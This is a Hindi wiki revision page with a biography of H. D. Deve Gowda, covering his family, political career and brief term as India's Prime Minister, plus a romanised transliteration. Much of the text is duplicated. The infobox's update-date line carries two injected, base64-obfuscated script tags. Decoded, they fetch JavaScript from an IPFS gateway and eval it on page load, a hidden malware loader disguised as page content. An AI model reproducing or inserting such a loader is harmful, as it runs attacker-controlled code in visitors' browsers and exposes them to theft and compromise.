Difference between revisions of "देवगौड़ा एच. डी."

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|जेल यात्रा=[[1975]] में आपातकाल के दौरान देवगौड़ा को जेलयात्रा करनी पड़ी थी। वह 18 महीनों तक जेल में रहे।
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|जेल यात्रा=[[1975]] में [[आपात काल]] के दौरान देवगौड़ा को जेलयात्रा करनी पड़ी थी। वह 18 महीनों तक जेल में रहे।
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|शिक्षा=सिविल इंजीनियरिंग में डिप्लोमा
 
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'''एच. डी. देवगौड़ा''' (जन्म- [[18 मई]], [[1933]]) को तकनीकी रूप से [[भारत]] का ग्यारहवाँ [[प्रधानमंत्री]] माना जाता है। इनका पूरा नाम '''हरदनहल्ली डोडेगौडा़ देवगौडा़''' है। यह उस समय प्रधानमंत्री बने जब [[अटल बिहारी वाजपेयी]] जी को 13 दिन सरकार चलाने के बाद प्रधानमंत्री का पद छोड़ना पड़ा था, क्योंकि वह बहुमत साबित करने की स्थिति में नहीं थे। यह संयुक्त मोर्चा सरकार के नेता के रूप में प्रधानमंत्री चयनित हुए। इन्होंने [[1 जून]], [[1996]] को शपथ ग्रहण की थी। लेकिन यह भी ज़्यादा समय तक प्रधानमंत्री नहीं रहे। लगभग 10 माह तक प्रधानमंत्री रहने के बाद इन्हें भी अपने पद से त्यागपत्र देना पड़ा।
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'''एच. डी. देवगौड़ा''' ([[अंग्रेज़ी]]: ''H. D. Deve Gowda'', जन्म: [[18 मई]], [[1933]]) को तकनीकी रूप से [[भारत]] का ग्यारहवाँ [[प्रधानमंत्री]] माना जाता है। इनका पूरा नाम '''हरदनहल्ली डोडेगौडा़ देवगौडा़''' है। यह उस समय प्रधानमंत्री बने जब [[अटल बिहारी वाजपेयी]] जी को 13 दिन सरकार चलाने के बाद प्रधानमंत्री का पद छोड़ना पड़ा था, क्योंकि वह बहुमत साबित करने की स्थिति में नहीं थे। यह संयुक्त मोर्चा सरकार के नेता के रूप में प्रधानमंत्री चयनित हुए। इन्होंने [[1 जून]], [[1996]] को शपथ ग्रहण की थी। लेकिन यह भी ज़्यादा समय तक प्रधानमंत्री नहीं रहे। लगभग 10 माह तक प्रधानमंत्री रहने के बाद इन्हें भी अपने पद से त्यागपत्र देना पड़ा।
 
==जन्म एवं परिवार==
 
==जन्म एवं परिवार==
एच. डी. देवगौड़ा का जन्म [[कर्नाटक]] के [[हरदन हल्ली ग्राम]] के हासन ताक़ुमा में [[18 मई]], [[1933]] को हुआ था। यह एक खाते-पीते कृषक परिवार से सम्बन्धित थे। एच. डी. देवगौड़ा ने सिविल इंजीनियरिंग में डिप्लोमा प्राप्त करने के बाद मात्र 20 वर्ष की उम्र में ही सक्रिय राजनीति में हिस्सा लेना आरम्भ कर दिया था। इनके पिता का नाम श्री दोड्डे गौड़ा था तथा माता का नाम देवम्या था। इनकी पत्नी का नाम चेनम्मा है। इनके चार पुत्र एवं दो पुत्रियाँ हैं। एक पुत्र विधायक तथा एक पुत्र सांसद भी रह चुके हैं। एच. डी. देवगौड़ा ने सर्वप्रथम [[1953]] में [[कांग्रेस]] पार्टी की सदस्यता ली। वह [[1962]] तक कांग्रेस के सदस्य रहे। देवगौड़ा एक मध्यमवर्गीय परिवार की पृष्ठभूमि से राजनीति में आए थे, इस कारण वह किसानों के कठोर परिश्रम का मूल्य समझते थे। युवा देवागौड़ा ने ग़रीब किसानों और समाज के कमज़ोर वर्गों के उत्थान के लिए राजनीतिक आवाज़ बुलन्द की थी।
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एच. डी. देवगौड़ा का जन्म [[कर्नाटक]] के हरदन हल्ली ग्राम के हासन ताक़ुमा में [[18 मई]], [[1933]] को हुआ था। यह एक खाते-पीते कृषक परिवार से सम्बन्धित थे। एच. डी. देवगौड़ा ने सिविल इंजीनियरिंग में डिप्लोमा प्राप्त करने के बाद मात्र 20 वर्ष की उम्र में ही सक्रिय राजनीति में हिस्सा लेना आरम्भ कर दिया था। इनके पिता का नाम श्री दोड्डे गौड़ा था तथा माता का नाम देवम्या था। इनकी पत्नी का नाम चेनम्मा है। इनके चार पुत्र एवं दो पुत्रियाँ हैं। एक पुत्र विधायक तथा एक पुत्र सांसद भी रह चुके हैं। एच. डी. देवगौड़ा ने सर्वप्रथम [[1953]] में [[कांग्रेस]] पार्टी की सदस्यता ली। वह [[1962]] तक कांग्रेस के सदस्य रहे। देवगौड़ा एक मध्यमवर्गीय परिवार की पृष्ठभूमि से राजनीति में आए थे, इस कारण वह किसानों के कठोर परिश्रम का मूल्य समझते थे। युवा देवागौड़ा ने ग़रीब किसानों और समाज के कमज़ोर वर्गों के उत्थान के लिए राजनीतिक आवाज़ बुलन्द की थी।
 
==राजनीतिक जीवन==
 
==राजनीतिक जीवन==
{{tocright}}
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[[1962]] तक कांग्रेस में सक्रिय कार्यकर्ता की भूमिका निभाने के बावजूद जब देवगौड़ा को उचित सम्मान प्राप्त नहीं हुआ तो कांग्रेस से इनका मोहभंग हो गया। ऐसे में वह 1962 के कर्नाटक विधानसभा चुनाव में स्वतंत्र प्रत्याशी के रूप में खड़े हो गए। देवगौड़ा [[विधानसभा]] चुनाव में निर्वाचित हुए। इस प्रकार उनके कार्यों को जनता की स्वीकृति प्राप्त हुई। इसके बाद भी देवगौड़ा अगले तीन चुनावों [[1967]], [[1972]] और [[1977]] में लगातार विधायक के रूप में चुने जाते रहे। लेकिन [[1969]] के पूर्व वह कांग्रेस पार्टी के पुन: सदस्य बन गए। ऐसा तब हुआ जब कांग्रेस पार्टी का विभाजन हुआ। उन्होंने [[इंदिरा गांधी]] की विरोधी कांग्रेस (ओ) को चुना था। देवगौड़ा कांग्रेस (ओ) के अध्यक्ष निजलिंगप्पा से काफ़ी प्रभावित थे। उनकी प्रेरणा से ही देवगौड़ा ने ऐसा किया था। [[1975]] में आपातकाल के दौरान देवगौड़ा को भी जेलयात्रा करनी पड़ी थी। वह 18 महीनों तक जेल में रहे। कर्नाटक विधानसभा में वह पुन: निर्वाचित हुए तथा दो बार राज्यमंत्री भी बने। लेकिन [[1982]] में इन्होंने कर्नाटक मंत्रिमंडल से इस्तीफ़ा दे दिया। अगले तीन वर्षों तक राजनीति में इनका सक्रिय योगदान नहीं रहा। लेकिन [[1991]] में देवगौड़ा हासन लोकसभा सीट से चुने गए और प्रथम बार [[संसद]] में पहुँचे। वह [[1994]] में जनता दल की राज्य इकाई के अध्यक्ष भी बने। 1994 में जनता दल का अध्यक्ष चुने जाने के बाद देवगौड़ा के भाग्य ने ज़ोर मारा और वह कर्नाटक के [[मुख्यमंत्री]] बन गए। यह [[1996]] में भी [[कर्नाटक के मुख्यमंत्री]] बने थे। जब इन्हें प्रधानमंत्री पद की चुनौती प्राप्त हुई, तब इन्होंने यह अवसर दोनों हाथों से लपक लिया और मुख्यमंत्री पद छोड़ दिया। इस प्रकार अटलजी के 13 दिन के कार्यकाल के पश्चात् वह प्रधानमंत्री बने।
1962 तक कांग्रेस में सक्रिय कार्यकर्ता की भूमिका निभाने के बावजूद जब देवगौड़ा को उचित सम्मान प्राप्त नहीं हुआ तो कांग्रेस से इनका मोहभंग हो गया। ऐसे में वह 1962 के कर्नाटक विधानसभा चुनाव में स्वतंत्र प्रत्याशी के रूप में खड़े हो गए। देवगौड़ा [[विधानसभा]] चुनाव में निर्वाचित हुए। इस प्रकार उनके कार्यों को जनता की स्वीकृति प्राप्त हुई। इसके बाद भी देवगौड़ा अगले तीन चुनावों [[1967]], [[1972]] और [[1977]] में लगातार विधायक के रूप में चुने जाते रहे। लेकिन [[1969]] के पूर्व वह कांग्रेस पार्टी के पुन: सदस्य बन गए। ऐसा तब हुआ जब कांग्रेस पार्टी का विभाजन हुआ। उन्होंने [[इंदिरा गांधी]] की विरोधी कांग्रेस (ओ) को चुना था।
 
 
 
देवगौड़ा कांग्रेस (ओ) के अध्यक्ष निजलिंगप्पा से काफ़ी प्रभावित थे। उनकी प्रेरणा से ही देवगौड़ा ने ऐसा किया था। [[1975]] में आपातकाल के दौरान देवगौड़ा को भी जेलयात्रा करनी पड़ी थी। वह 18 महीनों तक जेल में रहे। कर्नाटक विधानसभा में वह पुन: निर्वाचित हुए तथा दो बार राज्यमंत्री भी बने। लेकिन [[1982]] में इन्होंने कर्नाटक मंत्रिमंडल से इस्तीफ़ा दे दिया। अगले तीन वर्षों तक राजनीति में इनका सक्रिय योगदान नहीं रहा। लेकिन [[1991]] में देवगौड़ा हासन लोकसभा सीट से चुने गए और प्रथम बार [[संसद]] में पहुँचे। वह [[1994]] में जनता दल की राज्य इकाई के अध्यक्ष भी बने। 1994 में जनता दल का अध्यक्ष चुने जाने के बाद देवगौड़ा के भाग्य ने ज़ोर मारा और वह कर्नाटक के [[मुख्यमंत्री]] बन गए। यह [[1996]] में भी कर्नाटक के मुख्यमंत्री बने थे। जब इन्हें प्रधानमंत्री पद की चुनौती प्राप्त हुई, तब इन्होंने यह अवसर दोनों हाथों से लपक लिया और मुख्यमंत्री पद छोड़ दिया। इस प्रकार अटलजी के 13 दिन के कार्यकाल के पश्चात् वह प्रधानमंत्री बने।
 
 
==प्रधानमंत्री पद पर==
 
==प्रधानमंत्री पद पर==
यदि भाग्य का सितारा बुलन्द होता है तो ऐसा ही होता है। देवगौड़ा मुख्यमंत्री से सीधे प्रधानमंत्री के पद पर जा पहुँचे। दरअसल 31 मई को अल्पमत में होने के कारण अटलजी ने प्रधानमंत्री पद से त्यागपत्र दे दिया था। उसके अगले दिन [[1 जून]], [[1996]] को तुरत-फ़ुरत 24 दलों वाले संयुक्त मोर्चे का गठन किया गया। इसे कांग्रेस ने समर्थन देने का आश्वासन दिया। अत: देवगौड़ा को संयुक्त मोर्चे का नेता घोषित कर दिया गया। संयुक्त मोर्चा बहुमत प्राप्त था और उसे [[काँग्रेस इं]] का समर्थन हासिल था। लेकिन शीघ्र ही कांग्रेस ने घोषणा कर दी कि यदि उसका समर्थन चाहिए तो उन्हें नेतृत्व में परिवर्तन करना होगा। एच. डी. देवगौड़ा कांग्रेस की नीतियों के मनोनुकूल नहीं चल रहे थे। कांग्रेस द्वारा समर्थन वापस लेने का सीधा मतलब था-संयुक्त मोर्चा सरकार का पतन। अत: [[काँग्रेस इं]] की शर्त स्वीकार करते हुए देवगौड़ा को अप्रैल [[1997]] को अपने पद से हटना पड़ा।
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यदि भाग्य का सितारा बुलन्द होता है तो ऐसा ही होता है। देवगौड़ा [[मुख्यमंत्री]] से सीधे [[प्रधानमंत्री]] के पद पर जा पहुँचे। दरअसल [[31 मई]] को अल्पमत में होने के कारण अटलजी ने प्रधानमंत्री पद से त्यागपत्र दे दिया था। उसके अगले दिन [[1 जून]], [[1996]] को तुरत-फ़ुरत 24 दलों वाले संयुक्त मोर्चे का गठन किया गया। इसे कांग्रेस ने समर्थन देने का आश्वासन दिया। अत: देवगौड़ा को संयुक्त मोर्चे का नेता घोषित कर दिया गया। संयुक्त मोर्चा बहुमत प्राप्त था और उसे काँग्रेस (इं) का समर्थन हासिल था। लेकिन शीघ्र ही कांग्रेस ने घोषणा कर दी कि यदि उसका समर्थन चाहिए तो उन्हें नेतृत्व में परिवर्तन करना होगा। एच. डी. देवगौड़ा कांग्रेस की नीतियों के मनोनुकूल नहीं चल रहे थे। कांग्रेस द्वारा समर्थन वापस लेने का सीधा मतलब था-संयुक्त मोर्चा सरकार का पतन। अत: काँग्रेस (इं) की शर्त स्वीकार करते हुए देवगौड़ा को [[अप्रैल]] [[1997]] को अपने पद से हटना पड़ा।
  
  
 
{{शासन क्रम |शीर्षक=[[भारत के प्रधानमंत्री]] |पूर्वाधिकारी=[[अटल बिहारी वाजपेयी]] |उत्तराधिकारी=[[इन्द्र कुमार गुजराल]]}}
 
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==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
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==संबंधित लेख==
 
==संबंधित लेख==
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Latest revision as of 05:21, 18 May 2018

devagau da ech. di.
poora nam haradanahalli dodegau da devagauda़
janm 18 mee, 1933
janm bhoomi haradan halli gram, hasan taquma, karnatak
abhibhavak pita- 'shri dodde gau da', mata- 'devamya'
pati/patni chenamma
santan char putr evan do putriyaan
nagarikata bharatiy
parti kaangres aur janata dal
pad bharat ke 11vean pradhanamantri
kary kal 1 joon, 1996 - aprail, 1997 (lagabhag 10 mah)
shiksha sivil ianjiniyariang mean diploma
bhasha kann d bhasha, aangrezi
jel yatra 1975 mean apat kal ke dauran devagau da ko jelayatra karani p di thi. vah 18 mahinoan tak jel mean rahe.
adyatan‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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ech. di. devagau da (aangrezi: H. D. Deve Gowda, janm: 18 mee, 1933) ko takaniki roop se bharat ka gyarahavaan pradhanamantri mana jata hai. inaka poora nam haradanahalli dodegauda़ devagauda़ hai. yah us samay pradhanamantri bane jab atal bihari vajapeyi ji ko 13 din sarakar chalane ke bad pradhanamantri ka pad chho dana p da tha, kyoanki vah bahumat sabit karane ki sthiti mean nahian the. yah sanyukt morcha sarakar ke neta ke roop mean pradhanamantri chayanit hue. inhoanne 1 joon, 1996 ko shapath grahan ki thi. lekin yah bhi zyada samay tak pradhanamantri nahian rahe. lagabhag 10 mah tak pradhanamantri rahane ke bad inhean bhi apane pad se tyagapatr dena p da.

janm evan parivar

ech. di. devagau da ka janm karnatak ke haradan halli gram ke hasan taquma mean 18 mee, 1933 ko hua tha. yah ek khate-pite krishak parivar se sambandhit the. ech. di. devagau da ne sivil ianjiniyariang mean diploma prapt karane ke bad matr 20 varsh ki umr mean hi sakriy rajaniti mean hissa lena arambh kar diya tha. inake pita ka nam shri dodde gau da tha tatha mata ka nam devamya tha. inaki patni ka nam chenamma hai. inake char putr evan do putriyaan haian. ek putr vidhayak tatha ek putr saansad bhi rah chuke haian. ech. di. devagau da ne sarvapratham 1953 mean kaangres parti ki sadasyata li. vah 1962 tak kaangres ke sadasy rahe. devagau da ek madhyamavargiy parivar ki prishthabhoomi se rajaniti mean ae the, is karan vah kisanoan ke kathor parishram ka mooly samajhate the. yuva devagau da ne garib kisanoan aur samaj ke kamazor vargoan ke utthan ke lie rajanitik avaz buland ki thi.

rajanitik jivan

1962 tak kaangres mean sakriy karyakarta ki bhoomika nibhane ke bavajood jab devagau da ko uchit samman prapt nahian hua to kaangres se inaka mohabhang ho gaya. aise mean vah 1962 ke karnatak vidhanasabha chunav mean svatantr pratyashi ke roop mean kh de ho ge. devagau da vidhanasabha chunav mean nirvachit hue. is prakar unake karyoan ko janata ki svikriti prapt huee. isake bad bhi devagau da agale tin chunavoan 1967, 1972 aur 1977 mean lagatar vidhayak ke roop mean chune jate rahe. lekin 1969 ke poorv vah kaangres parti ke pun: sadasy ban ge. aisa tab hua jab kaangres parti ka vibhajan hua. unhoanne iandira gaandhi ki virodhi kaangres (o) ko chuna tha. devagau da kaangres (o) ke adhyaksh nijaliangappa se kafi prabhavit the. unaki prerana se hi devagau da ne aisa kiya tha. 1975 mean apatakal ke dauran devagau da ko bhi jelayatra karani p di thi. vah 18 mahinoan tak jel mean rahe. karnatak vidhanasabha mean vah pun: nirvachit hue tatha do bar rajyamantri bhi bane. lekin 1982 mean inhoanne karnatak mantrimandal se istifa de diya. agale tin varshoan tak rajaniti mean inaka sakriy yogadan nahian raha. lekin 1991 mean devagau da hasan lokasabha sit se chune ge aur pratham bar sansad mean pahuanche. vah 1994 mean janata dal ki rajy ikaee ke adhyaksh bhi bane. 1994 mean janata dal ka adhyaksh chune jane ke bad devagau da ke bhagy ne zor mara aur vah karnatak ke mukhyamantri ban ge. yah 1996 mean bhi karnatak ke mukhyamantri bane the. jab inhean pradhanamantri pad ki chunauti prapt huee, tab inhoanne yah avasar donoan hathoan se lapak liya aur mukhyamantri pad chho d diya. is prakar atalaji ke 13 din ke karyakal ke pashchath vah pradhanamantri bane.

pradhanamantri pad par

yadi bhagy ka sitara buland hota hai to aisa hi hota hai. devagau da mukhyamantri se sidhe pradhanamantri ke pad par ja pahuanche. darasal 31 mee ko alpamat mean hone ke karan atalaji ne pradhanamantri pad se tyagapatr de diya tha. usake agale din 1 joon, 1996 ko turat-furat 24 daloan vale sanyukt morche ka gathan kiya gaya. ise kaangres ne samarthan dene ka ashvasan diya. at: devagau da ko sanyukt morche ka neta ghoshit kar diya gaya. sanyukt morcha bahumat prapt tha aur use kaangres (ian) ka samarthan hasil tha. lekin shighr hi kaangres ne ghoshana kar di ki yadi usaka samarthan chahie to unhean netritv mean parivartan karana hoga. ech. di. devagau da kaangres ki nitiyoan ke manonukool nahian chal rahe the. kaangres dvara samarthan vapas lene ka sidha matalab tha-sanyukt morcha sarakar ka patan. at: kaangres (ian) ki shart svikar karate hue devagau da ko aprail 1997 ko apane pad se hatana p da.



bharat ke pradhanamantri
65px|link=| poorvadhikari
atal bihari vajapeyi
devagau da ech. di. uttaradhikari
indr kumar gujaral
65px|link=|

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panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

sanbandhit lekh

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